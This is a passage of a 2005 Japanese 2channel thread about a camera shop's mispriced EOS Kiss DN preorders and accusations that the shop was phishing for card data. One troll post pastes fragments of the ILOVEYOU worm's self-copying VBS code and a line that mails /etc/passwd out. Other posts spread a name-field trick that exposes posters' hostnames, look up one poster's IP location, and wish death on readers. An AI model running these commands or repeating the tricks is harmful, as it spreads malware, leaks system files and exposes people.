カードなんて番号だけあればいいなんて
普通に考えてきけんすぎw

カードリーダーみたいなヤツでやるの?

指紋認証技術とかも手軽に使える時代だ
いまは一番危険な時代・・・。こえぇ

365 :番組の途中ですが名無しです:05/03/02 13:25:12 ID:odo9A+hP
弁護士とか言う言葉見ると社員必死に反応してるなかわいいもんだ。


なんか前のほうに出てきた、弁護士に無料相談した人は、予約段階でクレ
ジットカード情報まで引き出しておいて、キャンセルするのはやりすぎ
だって言ってたらしいよ。
そこんとこ興味深いね。

366 :JJ038076.ppp.dion.ne.jp:05/03/02 13:26:00 ID:nqmwubrL
>>361
もうチョット上手に釣ってくれよ。

367 :X056158.ppp.dion.ne.jp:05/03/02 13:26:59 ID:G/DmgOqg
>>361
荒らしのすくつDION軍には通用しないよ( ´,_ゝ`)プッ( ´,_ゝ`)プッ

368 :YahooBB219186078044.bbtec.net:05/03/02 13:27:47 ID:5dFakh6P
>>361
じゃあオレも。

369 :anaJJ038076.ppp.dion.ne.jp:05/03/02 13:28:40 ID:l8GIZG13
>>361
あはは、引っかかっちゃた。あたしってバカ

370 :番組の途中ですが名無しです:05/03/02 13:28:50 ID:odo9A+hP
>>366
おまえさんじゃあないよ
ID:2uK2UzRB と ID:AKAAXnf9 だよ

371 :番組の途中ですが名無しです:05/03/02 13:32:35 ID:rOzL/GaR
>>364
http://www.edy.jp/edy_cyber/edy_cyber_01.html#03
そそカードリーダ、これつかってやった
Edyの宣伝するわけじゃないけど、am/pmで2000円くらいで売ってるが
カード作るとくれる場合もある
でも、よく考えるとEdyってチャージできる限度が5万くらいだった気がする

372 :番組の途中ですが名無しです:05/03/02 13:45:25 ID:3yjlndlz
>>371
へぇ
やっぱ非接触式なんだ
コンビニとかと一緒で買物するときにかざすの?
カードの複製って簡単じゃないの?


おれのちんこにもEdyのチップ埋め込んでEdy機能付けちゃおうかな

373 :番組の途中ですが名無しです:05/03/02 13:49:00 ID:94RpkoAO
お前らゴネ厨なんてやめろ!!!
俺が助けてやる!!!

374 :番組の途中ですが名無しです:05/03/02 13:50:41 ID:3yjlndlz
>>373
助けてください
助けてください



375 :番組の途中ですが名無しです:05/03/02 13:51:17 ID:rOzL/GaR
かざすって言うよりも、置けるようになってる、セットしてしまえば外れないので
手続き中は置きっぱなし

カードのセキュリティについては不明だが、現在のカード番号、期限、名義人の
アナログなセキュリティよりはましなんじゃないかな?

ところで、ナニワ電話してる人は何か進展があったんでしょうか?


376 :番組の途中ですが名無しです:05/03/02 13:54:08 ID:Kcp3Ynp7
>>375

はいはーい。
中根氏よりお話いただけましたよー。

またメールくれるそうですよ。今度はどうやら契約の成立時期云々について
述べられる予定だそうです。でも携帯メールで注文した人にはどうするんでしょーねー。

それに、ここにきてはじめて契約の時期についてお話され、まだ契約が成立
していないという立場をとられること自体、非常に悪質だとも思いますがねー。

377 :番組の途中ですが名無しです:05/03/02 13:57:24 ID:/BoTGnSn
というか、中根氏の首はまだ繋がってたのね。

378 :番組の途中ですが名無しです:05/03/02 13:57:54 ID:aUeGlwey
>>376
約1週間経ってもまだ契約成立云々ですか。ワロス
今までは何だったんですかね。

説明するといってもまた曖昧な表現なんだろどうせ。
もう6万で売るといっても(まぁ売らないだろうが)遅い。

中根じゃ話が通じないんで塩山を出せと。

379 :番組の途中ですが名無しです:05/03/02 13:58:54 ID:ymAKXRsZ
キャンセルお願いしますと店からメールがきている時点で契約は成立しているよ

380 :番組の途中ですが名無しです:05/03/02 14:00:02 ID:Kcp3Ynp7
>>378

塩山氏についてもお話いただけました。
あくまで情報システムの責任者なんですって。販売運営はノータッチだとか。

「じゃ、あの表記は何なんですか?特定商取引法に基づいた
 運営責任者の表記だと理解していましたが、虚偽の表示をしていたのですか?」

と聞いたら特定商取引法を知らなかった模様。
マジでこれには呆れたwwww

381 :番組の途中ですが名無しです:05/03/02 14:01:52 ID:aUeGlwey
>>379
実店舗だと例えば店の備品を「これ売ってくれ」と
客が言ってきたら売れないし、売らないだろう。
これは店側が一方的に拒否できるだろ。

今回は「お願い」してるってことは成立してるんだよな。

382 :番組の途中ですが名無しです:05/03/02 14:02:09 ID:rOzL/GaR
今回の件、個人情報を取得するためにやった詐欺と違うとナニワは証明することが出来るのでしょうか?
今更削除したって言われたところで、本当に消えてるかどうかなんてわかるわけもないし・・・
できなかったら、それを盾に損害賠償を請求することが可能でしょうかね?

実際にはもうナニワなんかで買いたくも無いが、タダで個人情報くれてやった事に腹が立つ
あと、変わる対応、どん臭さ

383 :番組の途中ですが名無しです:05/03/02 14:03:45 ID:aUeGlwey
>>380
じゃあ特定商取引法違反の疑いで警察直行だなwwwwww
フィッシング詐欺+特定商取引法
次はどんな容疑ですか????

384 :番組の途中ですが名無しです:05/03/02 14:08:07 ID:6Bz7aDnh
文字数制限があるから重要項目をメールから省きました、ってのは言い訳になるの?
ちなみにPHSのメールだけど、文字数制限2万文字なんだけど。
正常に受信出来てますよ。

385 :番組の途中ですが名無しです:05/03/02 14:17:04 ID:qhQqCLXN
要するに、とりあえず金払えよ、と。
売る売らないはその後でこっちの都合で判断するからさ、
ってことなんだね。
楽な商売だなあ。

386 :番組の途中ですが名無しです:05/03/02 14:20:53 ID:Kcp3Ynp7
最近は警察も電話相談とかできるみたいだな。

○○県警 相談
○○府警 相談

とかいう検索ワードで出てくる。
「知人が弁護士に相談したら警察にも相談したほうが言いといわれた」
というふうに切り出して相談してみるつもり。

>>384
それはいくらなんでも通らないでしょ。
なんなら、内容は複数メールにわけてもいいわけだし。

387 :番組の途中ですが名無しです:05/03/02 15:01:43 ID:EYq+ZVuL
5A320J0

388 :番組の途中ですが名無しです:05/03/02 15:02:16 ID:wa2YsFCw
EOS KISS D見てきた
田舎なもんでKISS DNはまだ無かった
で、いろいろと触らせて貰ったんだけど
やっぱり、俺には一眼は大げさかな、フジのF10にしとこうかな、とかなり気が変わってきた


そんなわけで、ナニワははやくKISS DNの販売手続き進めろボケ
もう発売まで2週間ほどしかねーだろが、サクサク働けサクサクな

389 :番組の途中ですが名無しです:05/03/02 15:04:07 ID:t1HsCbXQ
このスレも終わったな (・ー・)オワッタナ・・・
ハニワの思う壺、工作員の勝利
。・:*:・゚☆ ネ兄 月劵 禾り ,。・:*:・゚☆

390 :番組の途中ですが名無しです:05/03/02 15:04:45 ID:odo9A+hP
【スレッドの止め方】
 名前欄:停止&rf&rusi&ran&ras&ran書けませんよ
 本文:真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ
コピペしてもいけるよ。気に入らないスレはこれで止めてね。

391 :番組の途中ですが名無しです:05/03/02 15:06:08 ID:eT4x84ez
>>390 おまえ何てことを。。。

392 :番組の途中ですが名無しです:05/03/02 15:06:54 ID:aUeGlwey
>>390
おい!

393 :停止 ZH111221.ppp.dion.ne.jp書けませんよ :05/03/02 15:07:40 ID:cdA4crGc
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ

394 :番組の途中ですが名無しです:05/03/02 15:08:40 ID:5KAM/5rr
さっき図書館で帝国データバンクの会社年鑑みてきた。
残念ながら、代表者の住所はなかった。
株主も塩Mt一族とナニワグループ本社でがっちり
おそらく、民主主義は存在しないであろう。

395 :停止 ZH111221.ppp.dion.ne.jp書けませんよ:05/03/02 15:09:09 ID:SUgDhMex
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ

↑これでいいか?

396 :番組の途中ですが名無しです:05/03/02 15:09:18 ID:SIzkIdLn
>>393
工作員ですか?

397 :番組の途中ですが名無しです:05/03/02 15:09:36 ID:aUeGlwey
dion厨氏ね

398 :停止 X056158.ppp.dion.ne.jp書けませんよ:05/03/02 15:10:00 ID:G/DmgOqg
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ

399 :番組の途中ですが名無しです:05/03/02 15:10:06 ID:Bxe3kn5H
ナニワから連絡がないんだけど

これって詐欺?

400 :番組の途中ですが名無しです:05/03/02 15:11:33 ID:6T8WE6Y4
にやけすぎ

401 :番組の途中ですが名無しです:05/03/02 15:12:11 ID:io8bjmDn
工作員はDIONだらけですね

402 :番組の途中ですが名無しです:05/03/02 15:12:31 ID:Kcp3Ynp7
>>388

気が変わってきたとか言いながら全然かわってないところにワロタ

403 :釣られて nthrsm020141.hrsm.nt.adsl.ppp.infoweb.ne.jpみる:05/03/02 15:12:42 ID:p4kQe3s5
真・フシアナストッパー。。。( ̄ー ̄)ニヤリッ

これでいい?

404 :番組の途中ですが名無しです:05/03/02 15:15:16 ID:7AdjHztS
F10とKissDNでは、撮れる世界が待ったくちがうと思われ。
これにめげずに、なにか一眼を手にすることを、お勧めする。
ホンモノの味がする世界だ。

405 :番組の途中ですが名無しです:05/03/02 15:15:45 ID:YXQis2CG
ナニワの上に立つ人間は目先の利益しか考えられなかったのか?
価格間違いに気が付いたときに送ったメールを
『今回ご予約いただいた商品の価格表記に誤りがございました。
(省略)私共の考えとしましてはお客様あってのカメラのナニワと常日頃から思っております。
今回ご予約いただいたお客様にはカメラのナニワ特別サービス価格として
対応させていただきますので今後もカメラのナニワを宜しくお願いいたします』
としてたら違う方向で祭りになっていたのに
販売したことによる損失も広告費だと思えば高くはなかったはず
こんな結果になったことは残念でならない

406 :ana eAc1Ahu128.tky.mesh.ad.jp:05/03/02 15:15:59 ID:OKpyLRGT
test

407 :番組の途中ですが名無しです:05/03/02 15:18:09 ID:7AdjHztS
>>405
腐れきってたんでしょ。それが露呈しただけの話。
うちにもナニワで買ったものがあるが、汚らしく思えてきた。
それなりの値段のものなので、捨てはしないが。

408 :番組の途中ですが名無しです:05/03/02 15:25:16 ID:Kcp3Ynp7
>>405

確かにそうだよな。キヤノンがらみの価格縛りがあったとしても、例えば妥協案として、
差額分40,000円程度をナニワのネット通販金券で提供するとかやりようはあったはずだよ。

レンズやCFなんかを買わなければいけないんだから、客としてはありがたい。
そうすれば、以後もナニワで買おうという気にもなるし、対応にも不満もない。

フリーダイアル対応であるとか、ネット販売の休止であるとか、現在の損失は
一人一台販売した場合や↑のような妥協案を出した場合のの損失を
上回っているはずだよ。既に。



409 :番組の途中ですが名無しです:05/03/02 15:31:17 ID:/4Ptlug/
ここでごねてる奴の半分以上がカメラのナニワなんて使ってなかっただろうw。
ここの連中が利用してくれなく建って全然痛くありませんから。残念wwwwwwwwww

410 :番組の途中ですが名無しです:05/03/02 15:33:26 ID:5KAM/5rr
こんなに悪評が広がれば、ダメージは少なからずあるはず


411 :番組の途中ですが名無しです:05/03/02 15:34:09 ID:yBkBJAJa
注文できなかった妬み厨と社員の必死な書込みが目立ちますね。

412 :番組の途中ですが名無しです:05/03/02 15:34:55 ID:G/DmgOqg
行政の相談所の弁護士に聞いてみたんだが
今回のようなケースでは店側には何ら責任無いらしいよ
反対に相談フリーダイヤルとか設置するとかして
対応してくれるなんてかなり優良な店だっていってた
法的には売れ売れいうユーザーは脅迫の疑いがあるって
おまえら気を付けた方がいいよ

413 :番組の途中ですが名無しです:05/03/02 15:35:45 ID:h7q9ouyc
>>412
まじで?ヤベー

414 :番組の途中ですが名無しです:05/03/02 15:37:24 ID:ymAKXRsZ
>>412
通報しますた!

415 :番組の途中ですが名無しです:05/03/02 15:39:17 ID:Kcp3Ynp7
>>412

こえー。みんなー気をつけよーぜー。

つーとアレだ。ecomに頼んでるのも脅迫になるのかなー。こえーなー。


416 :番組の途中ですが名無しです:05/03/02 15:39:59 ID:odo9A+hP
>>412
稚拙な文章ですねw
もうちょっとまともな文章が書けるようになってから
釣りはたのしみましょう。

417 :番組の途中ですが名無しです:05/03/02 15:40:47 ID:e5GOHL9K
俺は買ってないんだが、今回のは0円のやつにくらべりゃ遥かに勝ち目がありそうな気がする。
少額はだめ。

418 :番組の途中ですが名無しです:05/03/02 15:40:51 ID:d/jd+c+r
>>412
脅迫だって( ´,_ゝ`)プッ

419 :番組の途中ですが名無しです:05/03/02 15:42:58 ID:G/DmgOqg
氏ねや

420 :番組の途中ですが名無しです:05/03/02 15:43:17 ID:rOzL/GaR
>>412
その弁護士にフィッシング詐欺はどうなるか聞いたか?
売れ売れじゃなくて損害賠償請求ならどうなるんだよ?

421 :番組の途中ですが名無しです:05/03/02 15:44:52 ID:Kcp3Ynp7
>>419

こえー。脅迫になるよとか言いながら、数分後にはこんなこと書いてるよー。


422 :番組の途中ですが名無しです:05/03/02 15:44:58 ID:7AdjHztS
>>394
民主主義どころか。。。独裁専制体制だろうよ。
何年前のころのことか、よく覚えていないが、
カーネル・サンダースのような創業者会長が存命のころだと思う。
会長の着ぐるみをいくつも作って、社員たちに
(たぶん社員、俳優なんて使わないだろう、チープなつくりのCMだったから)
着せて、カン、カン、カメラのナニワ〜♪と
踊らせていたCMがあった。


423 :番組の途中ですが名無しです:05/03/02 15:45:14 ID:G/DmgOqg
おまえらネット上でしかデカイ口叩けないのかよ
店まで来いや

424 :番組の途中ですが名無しです:05/03/02 15:45:53 ID:aUeGlwey
>>419
ワロス

425 :番組の途中ですが名無しです:05/03/02 15:46:09 ID:7AdjHztS
>>422
オウム真理教が、やっぱり麻原彰晃のお面をかぶらせて、
ショウコー、ショウコー、ショコショコ、ショウコー♪と
踊らせていたが、それとなんら変わらん精神構造だろう。
あの会長は、社員が、自分のことばをそのまま鵜呑みにしてただ繰り返すだけの、
機械人形のような存在になることを望んでいたに違いない。
そう解釈されても仕方のないCMだと思う。
北朝鮮が、人々をただの絵の具にしてしまっている、
あのマスゲームの映像を見ると、なんともいえない吐き気を感ずるが、
ナニワのCMでも、おんなじような印象をうけたのを覚えている。
今度の騒動で、そのことを思い出したら、北朝鮮、オウム真理教、ナニワと、
まったく同列のもののように思えてきた。


426 :番組の途中ですが名無しです:05/03/02 15:46:30 ID:ymAKXRsZ
>>423
電車賃くれ

427 :番組の途中ですが名無しです:05/03/02 15:46:37 ID:Kcp3Ynp7
>>423

いい燃料だなあ。
京都の四条寺町近くにあるナニワ店舗になら今日にでも参りますよ。



428 :番組の途中ですが名無しです:05/03/02 15:47:55 ID:IIfY77WW
>>398でfusianasanトラップに引っかかるようなID:G/DmgOqgが愛らしい件について

429 :番組の途中ですが名無しです:05/03/02 15:49:33 ID:Kcp3Ynp7
IPアドレス 210.234.56.158
ホスト名 X056158.ppp.dion.ne.jp
IPアドレス
 割当国 ※ 日本 (JP)
都道府県 神奈川県
市外局番 --
接続回線 xDSL

うはー。神奈川県ワロスwwwww

430 :番組の途中ですが名無しです:05/03/02 15:49:48 ID:2uK2UzRB
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

431 :(n‘∀‘)η:05/03/02 15:50:18 ID:odo9A+hP
ID:G/DmgOqg かわいいよ。かわいいよ。∩(@ω@)∩

432 :番組の途中ですが名無しです:05/03/02 15:51:21 ID:rOzL/GaR
>>430
なんつうか、同一人物なんだろな

433 :番組の途中ですが名無しです:05/03/02 15:52:30 ID:aUeGlwey
ハニワに神奈川支店なんかあるんか?
社員じゃなくて身内????

434 :(nチeチ& ◆.qR2YN1pxE :05/03/02 15:54:07 ID:odo9A+hP
∩(@ω@)∩∩(@ω@)∩∩(@ω@)∩∩(@ω@)∩∩(@ω@)∩∩(@ω@)∩

【基地外トリオですよろしこ】
ID:2uK2UzRB と ID:AKAAXnf9 と ID:G/DmgOqg

∩(@ω@)∩∩(@ω@)∩∩(@ω@)∩∩(@ω@)∩∩(@ω@)∩∩(@ω@)∩

435 :番組の途中ですが名無しです:05/03/02 15:54:08 ID:Cse6+8Ng
いろんな所に書き込んでるんですね>DmgOqg
http://stick.newsplus.jp/id.cgi?bbs=news&word=G%2FDmgOqg

436 :停止 ZH111221.ppp.dion.ne.jp書けませんよ :05/03/02 15:54:37 ID:YdlizKzF
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ

437 :番組の途中ですが名無しです:05/03/02 15:54:39 ID:Kcp3Ynp7
んじゃ店に行くからおまえは神奈川から来てくれwwwww >>ID:G/DmgOqg

438 :番組の途中ですが名無しです:05/03/02 15:55:39 ID:rOzL/GaR
神奈川なら東京までなら出てこられっか?
ビックか淀で俺と握手

439 :番組の途中ですが名無しです:05/03/02 15:55:40 ID:2uK2UzRB
早くこのスレのヤツラが死にますように
可能な限り苦しんで死にますように
死なずに一生植物状態でもいいです

440 :停止 ZH111221.ppp.dion.ne.jp書けませんよ:05/03/02 15:57:23 ID:IIfY77WW
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ

441 :番組の途中ですが名無しです:05/03/02 15:57:52 ID:aUeGlwey
週明けからあからさまな奴が来てるな。

442 :番組の途中ですが名無しです:05/03/02 15:58:56 ID:odo9A+hP
>>436
自ら打ち込んだって、だれも釣られませんよ
フォントの太さ違いますからw

基地外総長
http://stick.newsplus.jp/id.cgi?bbs=news&word=ID%3A2uK2UzRB


443 :番組の途中ですが名無しです:05/03/02 16:00:59 ID:rOzL/GaR
>>442
ID:2uK2UzRB って2取るのに必死なのがよくわかったよ


444 :停止 ZH111nuru.pop.dion.ne.jp書けませんよ:05/03/02 16:02:36 ID:ymAKXRsZ
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ


445 :番組の途中ですが名無しです:05/03/02 16:03:36 ID:ArhtTmiB
もしこれが名物社長が生きていた時代の城南電気だったら
条件付で売ってただろうなぁ・・

446 :番組の途中ですが名無しです:05/03/02 16:03:44 ID:yBkBJAJa
必死さが伝わってくるね。



その割にはメディアラボみたいな削除依頼は出てないみたいだけどw

447 :番組の途中ですが名無しです:05/03/02 16:03:55 ID:2uK2UzRB
このスレの奴らのレントゲン写真に
影的なものが浮かびますように。

448 :番組の途中ですが名無しです:05/03/02 16:05:56 ID:Mzkj7OoN
>>439
× 植物状態
○ 植物人間状態

落ち着いてね、坊やw

449 :番組の途中ですが名無しです:05/03/02 16:10:29 ID:XiwZYavr
>>ID:2uK2UzRB
人を呪わば穴二つ

450 :番組の途中ですが名無しです:05/03/02 16:10:41 ID:ersMDAX+
電凸報告ないようだからキティで遊ぶしかないのか

451 :番組の途中ですが名無しです:05/03/02 16:42:43 ID:21AIKjus
というか警察に相談するっていってたやつどうなったんだよw

452 :番組の途中ですが名無しです:05/03/02 16:46:03 ID:X/3qJqc3
詐欺業者超必死w

453 :番組の途中ですが名無しです:05/03/02 16:48:33 ID:7AdjHztS
>>452
詐欺業者といったら、失礼にあたりますよ。めっ!!
詐欺容疑者「ナニワ」さんです。あくまでも容疑者ですので、
敬称をお忘れなく。

454 :番組の途中ですが名無しです:05/03/02 16:49:33 ID:2WkIDcyu
むしろナニワが99540円カードで決済してくれたら
堂々と訴えれるんだが。


455 :番組の途中ですが名無しです:05/03/02 16:50:07 ID:7AdjHztS
詐欺容疑業者ですね。「詐欺容疑業者ナニワ商会」が正式名称です。

456 :番組の途中ですが名無しです:05/03/02 16:53:34 ID:d/jd+c+r
\(・∀・)/●ウンコー  ID:G/DmgOqg

457 :番組の途中ですが名無しです:05/03/02 16:54:18 ID:Kcp3Ynp7
>>451

少しくらい時間の猶予くれよwwww
俺も今勤務中なんだよwwww

そりゃecomとかなら勤務中にメール書いたりできるけど、
職場から警察に発信して相談はさすがに無理だってwwwww

458 :番組の途中ですが名無しです:05/03/02 16:54:28 ID:125+T1SU
ttp://www.uploda.org/file/uporg51135.jpg

459 :番組の途中ですが名無しです:05/03/02 16:57:09 ID:MTEP/Zzb
詐欺の方は未確定だとしても、
フィッシングの方は確定だがな。
〜【@曾@】〜踊れ踊れー♪

460 :番組の途中ですが名無しです:05/03/02 17:00:00 ID:7AdjHztS
フィッシングは、詐欺の一種でしょう。

461 :番組の途中ですが名無しです:05/03/02 17:00:21 ID:oG/utM8J
(●´ー`)<なっち世界を釣る! フィッシング詐欺編
http://homepage1.nifty.com/infini/img1851.jpg

462 :番組の途中ですが名無しです:05/03/02 17:03:28 ID:odo9A+hP
■■   テンプレ  ■■

弁護士による無料法律相談窓口纏めてくださっているサイト (←一見の価値あり)
http://www.asahi-net.or.jp/~zi3h-kwrz/feeno.html

経済産業省 (メール相談)
ttp://www.meti.go.jp/intro/consult/a_main_01.html

全国 消費生活センター (電話・現地窓口相談)
http://www.kokusen.go.jp/map/

電子商取引推進協議会 (WEBフォームから相談)
ttp://www.ecom.jp/adr/ja/

●まとめ●
http://ps2.s101.xrea.com/050226.html
http://naniwa.s115.xrea.com/
http://eoskissdn.nobody.jp/

行列の弁護士
http://www.ntv.co.jp/horitsu/20040905/3.html

なにわ
http://www.rakuten.co.jp/naniwa/index.html
メールアドレス:info@728.co.jp
カメラのナニワ 心斎橋本店
大阪市中央区心斎橋筋1-4-29
(06)6281-4100
■■■■■■■■■■

463 :番組の途中ですが名無しです:05/03/02 17:07:14 ID:7AdjHztS
故意だろうが、過失だろうが、ナニワがフィシングをしたのは確定的事実。
この事実にたいして、ナニワがつぐないをしていないのも、確定的事実。

464 :番組の途中ですが名無しです:05/03/02 17:08:54 ID:4aSt3Ypc
カメラのナニワ・楽天フィッシング被害者の会(仮称)
http://naniwa.s115.xrea.com/
これはテンプレに入れなくて良いの?

465 :番組の途中ですが名無しです:05/03/02 17:16:45 ID:4aSt3Ypc
ミス

466 :番組の途中ですが名無しです:05/03/02 17:18:58 ID:Ee3RtKtj
いよいよガサ入れですよ。皆さん。

467 :番組の途中ですが名無しです:05/03/02 17:22:19 ID:NfbhVm3R
特定商取引法に基づいた運営責任者の表記も虚偽の疑いがある。

468 :番組の途中ですが名無しです:05/03/02 17:27:18 ID:Fsv/77XN
今回のナニワの行為が仮に”フィッシング”だったとしても
そこから詐欺行為を働いて被害者が出ているわけではないので
フィッシング詐欺には成らない。

469 :番組の途中ですが名無しです:05/03/02 17:28:20 ID:yBkBJAJa
ID:Fsv/77XN

また社員ですか。

470 :番組の途中ですが名無しです:05/03/02 17:28:42 ID:odo9A+hP
>>467
それについても先日ecomへ質問事項に含めておきました
いまのところ返事待ちです。

471 :番組の途中ですが名無しです:05/03/02 17:29:46 ID:NfbhVm3R
>>468
痛いねぇ。

472 :番組の途中ですが名無しです:05/03/02 17:31:47 ID:Kcp3Ynp7
>>468

マジで!?
じゃあカード番号を入力させて入手する程度じゃフィッシング詐欺にならないのか!!

すげええええ!!!
ありえねええ!!!

473 :番組の途中ですが名無しです:05/03/02 17:34:56 ID:rOzL/GaR
>>468
値段付け間違えましたって言えば、個人情報集め放題じゃん
楽天経由でやれば自社から漏れたのか楽天から漏れたのかわからないし
楽天様だな

474 :番組の途中ですが名無しです:05/03/02 17:35:09 ID:9e+/EqEo
普通に考えれば、被害や訴えることが無い限り成立は無理だろ
だから訴えろよ

475 :番組の途中ですが名無しです:05/03/02 17:36:10 ID:Kcp3Ynp7
民事はめんどいし、時間もかねもかかるからあれだよなー。

フィッシング詐欺の疑いがあるっていうので刑事告発が一番楽かな。やっぱ。

476 :番組の途中ですが名無しです:05/03/02 17:38:47 ID:9e+/EqEo
ここでアホみたいに、何々に違反してるといくら書き込んでも事態は変わらない

477 :番組の途中ですが名無しです:05/03/02 17:40:41 ID:/IfyDn7p
さっさと諦めた俺は勝ち組み

478 :番組の途中ですが名無しです:05/03/02 17:44:03 ID:odo9A+hP
>>476
では、行動された476さんに詳細をお聞かせ願いたい。
よろしくお願いします。↓どぞ

479 :番組の途中ですが名無しです:05/03/02 17:52:33 ID:NfbhVm3R
>>477
んじゃキャンセルのお願いを了承するメールを送ってね、その方が可能性高くなるから。

480 :番組の途中ですが名無しです:05/03/02 17:55:50 ID:ersMDAX+
クレカの人は警察に通報しちゃってよ

481 :番組の途中ですが名無しです:05/03/02 18:02:54 ID:NfbhVm3R
こんなのあるんだね

フィッシング110番
http://www.npa.go.jp/cyber/policy/phishing/phishing110.htm

482 :番組の途中ですが名無しです:05/03/02 18:06:29 ID:9h/QIRXC
詐欺になるためには、相手を欺こうとする意思と相手の財物の交付がないといけない。

ナニワは単に売買契約において価格誤表記をしただけであって
詐欺をしようとする意思は認められない。(詐欺をしても何のメリットもない)
またそのことによって何の財産的利益も得ていない。

よって詐欺罪が適用されることはない。


483 :番組の途中ですが名無しです:05/03/02 18:06:46 ID:rOzL/GaR
>>481
一瞬東京だけねえじゃん、と思ってしまった・・・

484 :山口豊和:05/03/02 18:08:33 ID:HeXWo0ZQ
どうせ書き込めないだろうけどテスト
規制解除マダー?('A`)

485 :番組の途中ですが名無しです:05/03/02 18:09:44 ID:Kcp3Ynp7
>>482

カード番号は財物にあたらない?電気なんかは財物とされるみたいだけど。
カード番号が財物に当たるとしたらカード情報自体財産的利益をもつよね。

価格誤表記が意図的であったか、なかったかはこちらからはうかがい知れないわけで。
意図的ではないとは言ってるけどね。ナニワは。

486 :番組の途中ですが名無しです:05/03/02 18:09:59 ID:HeXWo0ZQ
└┐│
  └┴○


487 :番組の途中ですが名無しです:05/03/02 18:10:58 ID:b19VF1sH
>>484
>>484
>>484
>>484

488 :番組の途中ですが名無しです:05/03/02 18:12:58 ID:9e+/EqEo
ここでアホみたいに、何々に違反してるといくら書き込んでも事態は変わらない
ゴネ厨らしいね

489 :番組の途中ですが名無しです:05/03/02 18:13:28 ID:l/OmhyV9
とりあえずアークジャパンからはまだ何も届いていないことを明記します

490 :番組の途中ですが名無しです:05/03/02 18:15:54 ID:NfbhVm3R
>>482
そうかな、情報が流出しない可能性もない訳でもないし、
個人情報+クレジットカードの情報は金額的にも価値があるはず。
(名簿業者に売れるでしょうし)

よって適用されないと断言することはなできない。

491 :番組の途中ですが名無しです:05/03/02 18:16:36 ID:/IfyDn7p
アークは手書きのひとちゃんマウスパッドだから時間かかるんだって

492 :番組の途中ですが名無しです:05/03/02 18:17:19 ID:+Gh2nYQC
>>482
ここの住人にそんなこと言っても無駄


493 :番組の途中ですが名無しです:05/03/02 18:20:24 ID:NfbhVm3R
ナニワじゃ個人情報という対価を得ている訳だが。

494 :番組の途中ですが名無しです:05/03/02 18:22:12 ID:odo9A+hP
ID:9e+/EqEoさん

478 :番組の途中ですが名無しです :05/03/02 17:44:03 ID:odo9A+hP
>>476
では、行動された476さんに詳細をお聞かせ願いたい。
よろしくお願いします。↓どぞ



詳細マダー(・∀・)ニヤニヤ

495 :番組の途中ですが名無しです:05/03/02 18:24:51 ID:6OCljUSC
裁判起こす行動力もねぇ馬鹿が集まったところで無力だよwwwwwwwww
ひきこもってペットボトルに小便でもしてろwwwwwwww

496 :番組の途中ですが名無しです:05/03/02 18:26:49 ID:Kcp3Ynp7
googleさんに聞いてみたけど、確かに現行の刑法では、情報は財物とは
認められていないみたい。とすると、そもそもフィッシング詐欺の要件ってなんだろ?

スレの上のほうで、弁護士が「フィッシング詐欺の疑いがあると言った」とあるけど、
どういうところでもって判断したのかな?

ecomや各種機関の相談窓口に聞くことがひとつ増えたな。。

497 :番組の途中ですが名無しです:05/03/02 18:27:56 ID:qhQqCLXN
カード番号だけじゃなくて住所や生年月日も
分かってるんだから、いつでも引き出せるな。
海外のカジノサイトとかに売れそう。
マジで美味しい商売かも。カメラなんか売ってる場合じゃないぞw

498 :番組の途中ですが名無しです:05/03/02 18:28:12 ID:/IfyDn7p
ふとオモタがこのスレの住人はきっとカメラ買ってもあまり撮らなそうだな

499 :番組の途中ですが名無しです:05/03/02 18:29:56 ID:qhQqCLXN
>>498
一般的に見れば一眼デジカメ買う時点で結構オタ

500 :番組の途中ですが名無しです:05/03/02 18:30:16 ID:2NBwkiJR
>>498
俺は激しく使うぞ!
今もデジ一使いだ

でももう諦めムード('A` )

501 :番組の途中ですが名無しです:05/03/02 18:31:36 ID:KepBh610
>>498
漏れは激しいぞ!
相手の女なんて最後は許しを請うから

でももう中だしムード('A` )

502 :番組の途中ですが名無しです:05/03/02 18:33:25 ID:e5GOHL9K
>>501
おれはそういう女が欲しい・・・
http://home7.highway.ne.jp/toukou/free/mini24/index.htm

503 :番組の途中ですが名無しです:05/03/02 18:37:03 ID:odo9A+hP
【スレッドの止め方】
 名前欄:停止&rf&rusi&ran&ras&ran書けませんよ
 本文:真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ
コピペしてもいけるよ。気に入らないスレはこれで止めてね。

504 :番組の途中ですが名無しです:05/03/02 18:43:36 ID:yBkBJAJa
電凸オワタ。

漏れの送ったメ-ル、0時までにレスくれるらしいけど。さてはて。

505 :番組の途中ですが名無しです:05/03/02 18:45:16 ID:aUeGlwey
>>504
ハニアに電突?

ハニワは普通に約束守れないんで気楽にまとう。

506 :番組の途中ですが名無しです:05/03/02 18:45:45 ID:Kcp3Ynp7
>>504


乙! また内容聞かせてくれー。

507 :番組の途中ですが名無しです:05/03/02 18:47:09 ID:G/DmgOqg
ゴネ厨氏ねや

508 :停止JJ038076.ppp.dion.ne.jp書けませんよ:05/03/02 18:47:28 ID:dKVAFYrG
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ


509 :番組の途中ですが名無しです:05/03/02 18:52:25 ID:/IfyDn7p
そうかみんなちゃんと撮るんだねゴメソ
俺の初期KISSD押入れで腐ってるもんで

510 :再開JJ038076.ppp.dion.ne.jp書けますよ:05/03/02 18:52:54 ID:SIzkIdLn
( ̄ー ̄)ニコッ

511 :番組の途中ですが名無しです:05/03/02 18:53:17 ID:Kcp3Ynp7
>>509
使ってないなら売ってくれ

512 :番組の途中ですが名無しです:05/03/02 18:54:37 ID:KepBh610
>>509
1980円で買い取ってやっても良いぞ
